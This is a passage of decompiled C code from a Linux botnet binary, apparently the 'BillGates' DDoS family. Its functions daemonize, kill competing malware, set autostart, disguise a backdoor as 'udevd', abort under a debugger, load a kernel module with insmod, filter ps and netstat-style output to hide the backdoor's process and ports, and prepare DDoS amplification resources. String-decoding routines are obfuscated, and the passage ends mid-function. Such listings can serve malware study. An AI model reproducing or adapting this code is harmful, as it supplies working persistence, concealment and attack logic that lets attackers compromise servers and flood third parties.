std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(v21, a2, (struct struct_6 *)v20, (int32_t *)g98);
std__allocator_lt_CFakeCustom_gt_((int32_t *)v3);
std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v4, (int32_t *)a1);
int32_t * v22;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v22, (int32_t)a1);
int32_t * v23;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v23, (int32_t *)a1);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(v23);
std__allocator_lt_CFakeCustom_gt_((int32_t *)v4);
int32_t * v24 = a1->e2; // 0x8061719
int32_t v25 = *(int32_t *)a1; // 0x8061721
int32_t v26 = *(int32_t *)a1; // 0x8061731
g96 = (int32_t)a1;
std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v26, (int32_t **)(((int32_t)v24 - v25) / 8));
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v17);
a1->e0 = (int32_t *)v5;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base((int32_t *)v21);
a1->e1 = (int32_t *)v5;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v17);
int32_t v27 = 8 * (int32_t)v15 + (int32_t)v5; // 0x8061788
g97 = v27;
*(int32_t *)((int32_t)a1 + 8) = v27;
v8 = (int32_t *)a1;
// branch -> 0x8061790
} else {
// 0x806146c
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct((int32_t *)a1, a1->e1);
a1->e1 = (int32_t *)((int32_t)a1->e1 + 8);
v1 = (struct struct_6 *)*(int32_t *)a3;
int32_t * v28 = a1->e1; // 0x80614ac
int32_t * v29;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8));
int32_t * v30 = a1->e1; // 0x80614cb
int32_t * v31;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v31, (int32_t *)((int32_t)v30 - 16));
int32_t ** v32;
std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v32, a2, v31, v29);
int32_t v33 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2); // 0x8061504
g97 = v33;
((struct struct_6 *)v33)->e1 = (int32_t *)(struct struct_12 *)a3->e1;
CFakeCustom();
v8 = (int32_t *)&v1;
// branch -> 0x8061790
}
// 0x8061790
g98 = v7;
g101 = v6;
return (int32_t)v8;
}
// Address range: 0x8061798 - 0x8061807
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x806179e
int32_t * v2 = (int32_t *)(v1 + 4); // 0x80617a1_0
int32_t * v3; // 0x80617fc_6
if (*v2 == *(int32_t *)(v1 + 8)) {
// 0x80617d8
int32_t * v4;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v4, v1);
v3 = (int32_t *)std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, (struct struct_6 *)a2);
// branch -> 0x8061804
} else {
// 0x80617ae
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(a1, (int32_t *)*v2);
int32_t v5 = *v2 + 8; // 0x80617cd
g97 = v5;
*v2 = v5;
v3 = a1;
// branch -> 0x8061804
}
// 0x8061804
return (int32_t)v3;
}
// Address range: 0x8061c24 - 0x8061c47
void KillHandler(void) {
int32_t v1 = g60; // bp-28
CManager__CloseAllSockets((char *)&v1, 1);
v1 = 0;
exit((int32_t)g2);
// UNREACHABLE
}
// Address range: 0x8061c48 - 0x8061d3b
int32_t MainMonitor(void) {
// 0x8061c48
int32_t v1;
int32_t v2 = v1; // bp-16
int32_t v3 = 1; // bp-60
int32_t v4 = daemon(1, (int32_t)g2); // 0x8061c56
if (v4 < 0 != false) {
// 0x8061d37
return v4 < 0;
}
// 0x8061c69
v3 = std__string__c_str(&g48);
CSysTool__MarkPid((char *)&v3, (char **)&g11);
CSysTool__GetBeikongPathfile(v1);
int32_t v5 = std__string__c_str(&v2); // 0x8061ca0
int32_t v6 = _Znwj(56, v2, g11); // 0x8061cb0
v3 = v5;
CThreadMonGates_457((int32_t *)v6, v5);
if (v6 != 0) {
// 0x8061cf3
CThread__StartThread(v6);
// branch -> 0x8061d02
}
while (true) {
// 0x8061d02
sleep(3600);
// branch -> 0x8061d02
}
}
// Address range: 0x8061d3c - 0x80620ab
int32_t MainSystool(int32_t * a1, int32_t ** a2, int32_t a3) {
char * v1;
CUtility__GetCurrentPathFile_542((int32_t *)v1);
int32_t v2 = std__string__c_str((int32_t *)v1); // bp-1164
int32_t v3;
int32_t v4;
CSysTool__GetSystoolFile(&v4, (char *)&v2, v3);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
int32_t v5 = std__string__c_str((int32_t *)v1); // 0x8061dc7
int32_t result; // 0x806209b
if (CFileOp__FileExists((char *)v5) == 1) {
// 0x8061de7
char * v6;
CSysTool__GetBackDoorPath((int32_t *)v6);
int32_t v7 = g56; // 0x8061df6
char * v8;
CUtility__Int2String((int32_t)v8, v7);
int32_t v9; // 0x8061e5b
int32_t v10; // 0x8061e88
int32_t v11; // 0x8061eea
char * substr_pos; // 0x8061efd
int32_t v12; // 0x8061fc158
int32_t * v13;
if (a1 > (int32_t *)1) {
for (int32_t i = 1; i < (int32_t)a1; i++) {
// 0x8061e18
std__string__append_669((int32_t *)v1, (int32_t)" ");
std__string__append_669((int32_t *)v1, (int32_t)*a2);
// continue -> 0x8061e18
}
// 0x8061e54
v9 = std__string__c_str((int32_t *)v1);
if (_IO_popen(v9, (int32_t *)"r", v7) == 0) {
// 0x8061e81
v10 = std__string__c_str((int32_t *)v1);
system((char *)v10);
// branch -> 0x8062013
} else {
// 0x8061fbb
v12 = _IO_feof((struct _struct__IO_FILE *)v1);
if (((int32_t)(v12 == 0) || v12 & -256) != 0) {
while (true) {
// 0x8061eab
memcpy(v13, (int32_t *)0x8100900, 1024);
_IO_fgets((int32_t)v13, 1023, (int32_t *)v1, v4);
v11 = std__string__c_str((int32_t *)v6);
substr_pos = strstr((char *)v13, (char *)v11);
if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) == 1) {
lab_0x102d5c50:;
char * substr_pos2 = strstr((char *)v13, (char *)std__string__c_str((int32_t *)v8)); // 0x8061f2c
if (((int32_t)(substr_pos2 == NULL) || (int32_t)substr_pos2 & -256) == 1) {
uint32_t str_as_i = atoi((char *)std__string__c_str((int32_t *)v8)); // 0x8061f50
char * str;
memcpy((int32_t *)str, (int32_t *)0x81008c0, 16);
_IO_sprintf((int32_t)str, (int32_t)"%d", str_as_i % 0x10000 + 100);
if (strstr((char *)v13, str) == NULL) {
// 0x8061fa4
_IO_printf("%s", (char *)v13);
// branch -> 0x8061fbb
}
}
}
lab_0xa61bc90:;
int32_t v14 = _IO_feof((struct _struct__IO_FILE *)v1); // 0x8061fc1
if (((int32_t)(v14 == 0) || v14 & -256) == 0) {
// break -> 0x8061fd6
break;
}
// continue -> 0x8061eab
}
// 0x8061fd6
__new_pclose();
// branch -> 0x8062013
// 0x8062013
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6);
// branch -> 0x8062094
// 0x8062094
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return result;
}
// 0x8061fd6
__new_pclose();
// branch -> 0x8062013
}
// 0x8062013
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6);
// branch -> 0x8062094
// 0x8062094
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return result;
}
// 0x8061e54
v9 = std__string__c_str((int32_t *)v1);
if (_IO_popen(v9, (int32_t *)"r", v7) == 0) {
// 0x8061e81
v10 = std__string__c_str((int32_t *)v1);
system((char *)v10);
// branch -> 0x8062013
} else {
// 0x8061fbb
v12 = _IO_feof((struct _struct__IO_FILE *)v1);
if (((int32_t)(v12 == 0) || v12 & -256) != 0) {
while (true) {
// 0x8061eab
memcpy(v13, (int32_t *)0x8100900, 1024);
_IO_fgets((int32_t)v13, 1023, (int32_t *)v1, v4);
v11 = std__string__c_str((int32_t *)v6);
substr_pos = strstr((char *)v13, (char *)v11);
if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) == 1) {
goto lab_0x102d5c50;
}
goto lab_0xa61bc90;
}
}
// 0x8061fd6
__new_pclose();
// branch -> 0x8062013
}
// 0x8062013
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6);
// branch -> 0x8062094
}
// 0x8062094
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return result;
}
// Address range: 0x80620ac - 0x80622ff
int32_t MainProcess(void) {
int32_t v1 = 2000; // bp-76
CUtility__Sleep(&v1);
int32_t v2;
CSysTool__GetUpdateTemporary(&v2);
int32_t v3 = std__string__c_str(&v2); // 0x80620d9
CFileOp__RemoveFile((char *)v3);
v1 = 300;
CDNSCache__Initialize((char *)0x8132d20, 300);
CConfigDoing__Initialize(&g43);
CCmdDoing__Initialize(&g42);
CStatBase__Initialize((struct _struct__IO_FILE *)&g62);
CProvinceDns__InitReadResource((struct struct_49 *)&g61);
v1 = (int32_t)"xpacket.ko";
int32_t v4;
CUtility__GetCurrentPathFile(&v4, "xpacket.ko");
int32_t v5;
std__allocator_lt_char_gt__598(v5);
int32_t v6;
int32_t v7;
int32_t v8;
int32_t v9;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v6, (int32_t)"insmod ", v5, v9, v8, v7);
char * v10;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v10, (char *)&v6, (char *)&v4);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
std__allocator_lt_char_gt_();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
system((char *)std__string__c_str((int32_t *)v10));
CAmpResource__InitReadResource((struct struct_1 *)&g26, (struct struct_1 *)"/usr/lib/libamplify.so");
int32_t v11 = _Znwj(1076, (int32_t)"/usr/lib/libamplify.so", v6); // 0x806224d
int32_t * v12 = (int32_t *)v11; // 0x806225e
CManager_182(v12);
g60 = v11;
if (v11 != 0) {
// 0x8062292
CManager__Initialize(v12);
// branch -> 0x80622a3
}
// 0x80622a3
signal(SIGKILL, (void (*)(int32_t))KillHandler);
// branch -> 0x80622b5
while (true) {
// 0x80622b5
CUtility__Sleep((int32_t *)0xea60);
// branch -> 0x80622b5
}
}
// Address range: 0x8062304 - 0x80623f1
int32_t MainBackdoor(void) {
int32_t v1 = 1; // bp-44
int32_t v2 = daemon(1, (int32_t)g2); // 0x8062312
int32_t result = v2 < 0; // 0x80623f1_21
if (v2 < 0 == false) {
// 0x8062325
v1 = 0x8132d74;
int32_t v3 = std__string__c_str(&g49); // 0x806232d
int32_t v4;
CSysTool__GetBackDoorLockFile(&v4, v3);
int32_t v5 = std__string__c_str(&v4); // 0x806234c
if (CSysTool__IsPidExist((char *)v5) == 0) {
int32_t v6 = std__string__c_str(&v4); // 0x806236d
CSysTool__MarkPid((char *)v6, (char **)&g10);
int32_t v7 = std__string__c_str(&g50); // 0x806238e
v1 = 99;
CUtility__SetAutoStart((char *)v7, &v1, v3);
CSysTool__HandleSystools((int32_t *)"");
MainProcess();
// branch -> 0x80623de
}
int32_t v8 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); // 0x80623e5
result = v8;
// branch -> 0x80623ed
}
// 0x80623ed
return result;
}
// Address range: 0x80623f2 - 0x8062665
int32_t MainBeikong(void) {
int32_t v1 = g100; // 0x80623f2
int32_t v2 = g98; // 0x80623f5
int32_t v3 = 0; // bp-56
int32_t v4 = 1; // bp-60
int32_t v5 = daemon(1, (int32_t)g2); // 0x8062400
int32_t result = v5 < 0; // 0x8062408
if (v5 < 0 != false) {
// 0x8062661
g98 = v2;
g100 = v1;
return result;
}
// 0x8062413
int32_t v6;
CSysTool__KillChaos(v6);
v4 = std__string__c_str(&g48);
CSysTool__KillPid((char *)&v4);
v4 = (int32_t)"/tmp/bill.lock";
CSysTool__KillPid("/tmp/bill.lock");
v4 = (int32_t)"/tmp/bill.lock";
CFileOp__RemoveFile("/tmp/bill.lock");
if (CSysTool__KillGatesIfExist() != 1) {
// 0x8062460
g95 = 0;
abort();
// UNREACHABLE
}
int32_t v7 = g59; // 0x806246b
int32_t v8 = v7; // 0x8062493
if (v7 == 1) {
// 0x8062475
v4 = 0x8132d7c;
int32_t v9 = std__string__c_str(&g51); // 0x806247d
v3 = 97;
v4 = v9;
int32_t v10;
CUtility__SetAutoStart((char *)&v4, &v3, v10);
v8 = g95;
// branch -> 0x8062493
}
int32_t v11 = (int32_t)g52 | v8 & -256; // 0x8062493
char v12;
int32_t v13; // 0x80624b5
if (v11 == 1) {
int32_t v14 = CUtility__IsRoot(); // 0x806249f
int32_t v15 = v14 ^ 1; // 0x80624a4
if (v14 != 1) {
// 0x80624b1
v13 = v15;
v12 = 0;
// branch -> 0x80624b5
} else {
v13 = v15;
v12 = 1;
}
} else {
// 0x80624b1
v13 = v11 ^ 1;
v12 = 0;
// branch -> 0x80624b5
}
// 0x80624b5
if (((int32_t)v12 || v13 & -256) != 0) {
// 0x80624c0
v4 = 0x8132d74;
int32_t v16 = std__string__c_str(&g49); // 0x80624c8
v3 = v16;
int32_t v17;
CSysTool__GetBackDoorLockFile(&v17, v16);
int32_t v18 = std__string__c_str(&v17); // 0x80624e7
CSysTool__KillPid((char *)v18);
v4 = (int32_t)"udevd";
int32_t v19;
CSysTool__GetBackDoorLockFile(&v19, (int32_t)"udevd");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v19);
int32_t v20 = std__string__c_str(&v17); // 0x8062557
CSysTool__KillPid((char *)v20);
int32_t v21 = std__string__c_str(&v17); // 0x8062572
CFileOp__RemoveFile((char *)v21);
int32_t v22 = std__string__c_str(&g49); // 0x806258e
int32_t v23;
CSysTool__GetBackDoorFile(&v23, v22, (int32_t)"udevd");
int32_t v24 = std__string__c_str(&v23); // 0x80625ad
CSysTool__ReleaseAndStartGates((int32_t *)v24);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v23);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v17);
// branch -> 0x8062620
}
// 0x8062620
int32_t v25;
if (CUtility__IsRoot() == 0) {
// 0x806264c
v25 = (int32_t)"/tmp/notify.file";
CFileOp__RemoveFile("/tmp/notify.file");
// branch -> 0x806265c
} else {
// 0x8062629
CSysTool__SetBeikongPathfile();
v25 = std__string__c_str(&g57);
CSysTool__ReleaseAndStartGates(&v25);
// branch -> 0x806265c
}
// 0x806265c
MainProcess();
// branch -> 0x8062661
// 0x8062661
g98 = v2;
g100 = v1;
return result;
}
// Address range: 0x8062666 - 0x80629a3
int main(int argc, char ** argv) {
int32_t v1;
int32_t v2 = v1; // bp-28
int32_t v3;
int32_t v4 = v3; // bp-24
int32_t v5;
int32_t v6 = v5; // bp-20
g95 = 16;
CSysTool__CloseAllFileDescs();
int32_t v7;
CSysTool__Ower6msf(v7);
int32_t v8;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v8);
CUtility__GetModuleFullPath(&v8);
int32_t v9 = std__string__c_str(&v8); // bp-96
int32_t v10 = CFileOp__GetTgtFileSize((char *)&v9); // 0x80626be
if (((int32_t)(v10 == g55) || v10 & -256) != 1) {
// 0x80626d5
abort();
// UNREACHABLE
}
// 0x80626e0
char * v11;
CUtility__GetParentPath((int32_t)v11);
v9 = (int32_t)"gdb";
char * substr_pos = strstr((char *)std__string__c_str((int32_t *)v11), "gdb"); // 0x8062707
if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) != 1) {
// 0x8062718
abort();
// UNREACHABLE
}
// 0x8062723
HGrd9(v1);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
Mndyuf(v3);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
BGtd98(v5);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
int32_t v12;
Osdku6(&v12, v6);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12);
int32_t v13;
wer54(&v13, v12);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v13);
CSysTool__CheckGatesType(v4);
CSysTool__Ikdfu94();
if (CSysTool__IsUpdateTemporary(v4) != 0) {
// 0x80628cb
CSysTool__DoUpdate(argc, (int32_t)*argv);
// branch -> 0x8062958
// 0x8062958
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8);
return 0;
}
int32_t v14 = g7; // 0x80628e5
if (v14 == 1) {
// 0x8062916
MainBeikong();
// branch -> 0x8062958
// 0x8062958
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8);
return 0;
}
// 0x80628f3
if (v14 <= 1) {
// 0x80628f9
if (v14 == 0) {
// 0x806290f
MainMonitor();
// branch -> 0x8062958
}
// 0x8062958
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8);
return 0;
}
// 0x8062901
if (v14 == 2) {
// 0x806291d
MainBackdoor();
// branch -> 0x8062958
} else {
// 0x8062907
if (v14 == 3) {
// 0x8062924
MainSystool((int32_t *)argc, (int32_t **)argv, v12);
// branch -> 0x8062958
}
}
// 0x8062958
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8);
return 0;
}
// Address range: 0x80629a4 - 0x8062a11
int32_t KDS87y(int16_t * a1, int32_t * a2) {
int16_t v1 = 0;
int32_t * v2 = a2;
if (a2 > (int32_t *)1) {
int32_t v3 = (int32_t)*a1; // 0x80629bf
int16_t * v4 = (int16_t *)((int32_t)a1 + 2); // 0x80629c1_4
int32_t v5 = (int32_t)a2 - 2; // 0x80629c8
int32_t * v6 = (int32_t *)v5; // 0x80629cb_0
// branch -> 0x80629b3
while (v6 > (int32_t *)1) {
// 0x80629b3
a1 = v4;
v3 = (int32_t)*a1 + 0x10000 * v3 / 0x10000;
v4 = (int16_t *)((int32_t)a1 + 2);
v5 -= 2;
v6 = (int32_t *)v5;
// continue -> 0x80629b3
}
// 0x80629ce
v1 = v3;
a1 = v4;
v2 = v6;
// branch -> 0x80629d4
}
// 0x80629d4
int16_t v7; // 0x8062a05_43
if (v2 >= (int32_t *)1) {
// 0x80629da
v7 = (int32_t)*a1 + (int32_t)v1;
// branch -> 0x80629e8
} else {
v7 = v1;
}
int32_t v8 = (0x10000 * (int32_t)v7 + (int32_t)v7) / 0x10000;
return (0x10000 * (v8 / 0x10000 + v8) / -0x10000 - 1) % 0x10000;
}
// Address range: 0x8062a12 - 0x8062d29
int32_t HGrd9(int32_t result) {
int32_t v1 = g98; // 0x8062a15
int32_t * v2;
memcpy(v2, (int32_t *)0x80ffac0, 512);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
g95 = 13;
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98;
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 68, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x8062d2a - 0x8062f27
int32_t Mndyuf(int32_t result) {
int32_t v1 = g98; // 0x8062d2d
int32_t * v2;
memcpy(v2, (int32_t *)0x80ffcc0, 512);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
KDS87y((int16_t *)115, (int32_t *)256);
g95 = 7;
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98; // bp-556
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 115, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x8062f28 - 0x80630c7
int32_t BGtd98(int32_t result) {
int32_t v1 = g98; // 0x8062f2b
int32_t * v2;
memcpy(v2, (int32_t *)0x80ffec0, 512);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
g95 = 5;
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98; // bp-556
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 103, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x80630c8 - 0x8063209
int32_t nkfsd8(char * a1) {
int32_t v1 = g98; // 0x80630cb
int32_t * v2;
memcpy(v2, (int32_t *)0x81000c0, 512);
KDS87y((int16_t *)116, (int32_t *)256);
KDS87y((int16_t *)116, (int32_t *)256);
KDS87y((int16_t *)116, (int32_t *)256);
g95 = 3;
int32_t result = (int32_t)a1; // 0x8063196
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
char * v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 116, v3, v5, (int32_t)v4, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x806320a - 0x806334b
int32_t tRd76(char * a1) {
int32_t v1 = g98; // 0x806320d
int32_t * v2;
memcpy(v2, (int32_t *)0x81002c0, 512);
KDS87y((int16_t *)108, (int32_t *)256);
KDS87y((int16_t *)108, (int32_t *)256);
KDS87y((int16_t *)108, (int32_t *)256);
g95 = 3;
int32_t result = (int32_t)a1; // 0x80632d8
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
char * v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 108, v3, v5, (int32_t)v4, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x806334c - 0x80634b9
int32_t Kusdf9(char * a1) {
int32_t v1 = g98; // 0x806334f
int32_t * v2;
memcpy(v2, (int32_t *)0x81004c0, 512);
KDS87y((int16_t *)109, (int32_t *)256);
KDS87y((int16_t *)109, (int32_t *)256);
KDS87y((int16_t *)109, (int32_t *)256);
KDS87y((int16_t *)109, (int32_t *)256);
g95 = 4;
int32_t result = (int32_t)a1; // 0x8063449
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
char * v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 109, v3, v5, (int32_t)v4, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x80634bc - 0x806365b
int32_t Isuf6(char * a1) {
int32_t v1 = g98; // 0x80634bf
int32_t * v2;
memcpy(v2, (int32_t *)0x81006c0, 512);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
KDS87y((int16_t *)103, (int32_t *)256);
g95 = 5;
int32_t result = (int32_t)a1; // 0x80635e8
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
char * v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 103, v3, v5, (int32_t)v4, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x806365c - 0x80636b3
int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(int32_t * a1, char * a2, char * a3) {
// 0x806365c
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(a1, (int32_t *)a2);
std__string__append_669(a1, (int32_t)a3);
return (int32_t)a1;
}
// Address range: 0x80636b6 - 0x806370d
int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(char * a1, char * a2, char * a3) {
// 0x80636b6
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)a1, (int32_t *)a2);
std__string__append_671((int32_t *)a1, (int32_t *)a3);
return (int32_t)a1;
}
// Address range: 0x8063710 - 0x8063a03
int32_t Osdku6(int32_t * a1, int32_t a2) {
int32_t v1 = g98; // 0x8063713
int32_t result = (int32_t)a1; // 0x8063717
g98 = result;
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t * v3;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/", v2, v4, (int32_t)v3, 0);
std__allocator_lt_char_gt_();
int32_t * v5;
nkfsd8((char *)v5);
